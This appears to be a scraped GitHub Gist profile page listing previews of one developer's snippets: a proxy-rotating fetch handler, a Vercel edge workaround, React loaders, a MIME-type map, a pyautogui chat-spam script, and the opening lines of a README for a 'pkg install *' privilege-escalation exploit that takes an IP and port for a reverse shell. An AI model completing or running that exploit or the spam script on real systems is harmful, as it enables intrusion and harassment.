Skip to content

Instantly share code, notes, and snippets.

View rishi23root's full-sized avatar
🏠
Working from home

Rishabh Jain rishi23root

🏠
Working from home
View GitHub Profile
@rishi23root
rishi23root / fetchHandler.js
Created March 31, 2024 03:20
For getting working proxies and send requests by circulating proxies
import fetch from "node-fetch";
import { HttpsProxyAgent } from "https-proxy-agent";
import { ProxieProvider } from "./proxies.js";
import logger from "./logger.js";
export async function fetchHandler(target, options = {}, proxy = {}, retry = 0) {
// fetch handeler -
// retry with different proxy and with no proxy
// log the request and response
@rishi23root
rishi23root / ts
Created March 2, 2024 05:48
workaround for the vercel server function execution limits (10sec) for the hobby plan, go edge with pretending stream
import { Inputs } from "@/types/builder";
import { PdfToSchema } from "@/utils/openai/util";
export const runtime = 'edge';
function streamTillPromise(cb: Promise<any>) {
var isResolved = false;
const results = cb.then((data: any) => {
isResolved = true;
console.log('[resolved]');
@rishi23root
rishi23root / spam.py
Created October 21, 2021 20:52
Code to spam on any text chatting app 😎
from time import sleep as nap
import pyautogui
print('sleeping for 2 sec, put you cursor on input Field')
nap(2)
def spam(text):
pyautogui.write(f'{text}\n')
spam("Run!")
@rishi23root
rishi23root / image.jsx
Created September 14, 2021 18:50
Image preLoader for react 'to show loading circle till the image loads'
import React, { useState, Suspense } from 'react';
import CircularProgress from '@material-ui/core/CircularProgress';
export default function Image({ src, alt }) {
const [isloaded, setIsloaded] = useState(false);
return (
<>
<img
className={isloaded ? "ImageItself " : "displayNone"}
@rishi23root
rishi23root / reactLoader.js
Created September 5, 2021 10:29
Loader for the react with timeout 😎😁😀
import './App.css';
import React, { useState, useEffect } from 'react';
function App() {
const [ loader, setloader ] = useState(true);
useEffect(() => {
setTimeout(() => setloader(false),1000)
}, []);
@rishi23root
rishi23root / headersForMostCommonFiles.js
Created August 20, 2021 13:30
headersForMostCommonFiles.js to put in head of server response
const ContentTypes = {
"TXT": "text/plain",
"HTM": "text/html",
"TIFF": "image/tiff",
"TMP": "application/octet-stream",
"TOAST": "application/octet-stream",
"TORRENT": "application/x-bittorrent",
"TTF": "application/x-font-ttf",
"UUE": "application/octet-stream",
"VCD": "application/x-cdlink",
@rishi23root
rishi23root / README.md
Last active August 7, 2021 00:21
Exploit for privilege escalation from "pkg" and "pkg install *"

Exploit for privilege escalation from "pkg" and "pkg install *"

# pkg install * | privilege escalation | by rishi23jain

### TAKES 2 ARGS IP AND PORT FOR REVERSE SHELL

baseDIR=/tmp/exploiter

# clear and make temp dir 
rm -fr $baseDIR